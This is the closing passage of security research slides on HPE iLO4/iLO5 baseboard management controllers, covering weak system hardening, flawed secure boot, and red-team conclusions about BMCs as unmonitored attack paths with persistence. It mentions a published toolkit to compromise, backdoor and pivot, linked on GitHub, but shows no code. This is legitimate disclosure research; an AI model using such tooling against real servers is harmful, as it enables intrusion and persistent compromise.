- Still **no system hardening/defense in depth** (ASLR/NX)
- We can expect more vulnerabilities\(^\text{20}\)

**Silicon root of trust/secure boot**

- Clearly a step in the right direction\(^2\)
- Preventing long term compromise
- **But totally hindered by flawed implementation**
- What about the revocation?

\(^2\)see Google/Titan, Apple/T2, etc.
Conclusion for redteamers

- BMC systems often found unpatched, loosely monitored
  - Open attack path to otherwise secure systems
  - Persistence even in case of system resinstallation
- We published an extensive available toolkit for iLO4 & iLO5:
  - compromise
  - backdoor
  - pivot
- Great exercises to play with your blue team:
  - Cover monitoring blind spot
  - Incentive to patch
  - Raise awareness on BMCs
  - etc.
We’d like to thank

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- Xavier, Trou, Phil for their help and ideas
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- Our Airbus/Synacktiv/Medallia teams for their proof-readings and remarks

Our tools/PoC/talks

- https://github.com/airbus-seclab/ilo4_toolbox
Thanks for you attention

Questions?

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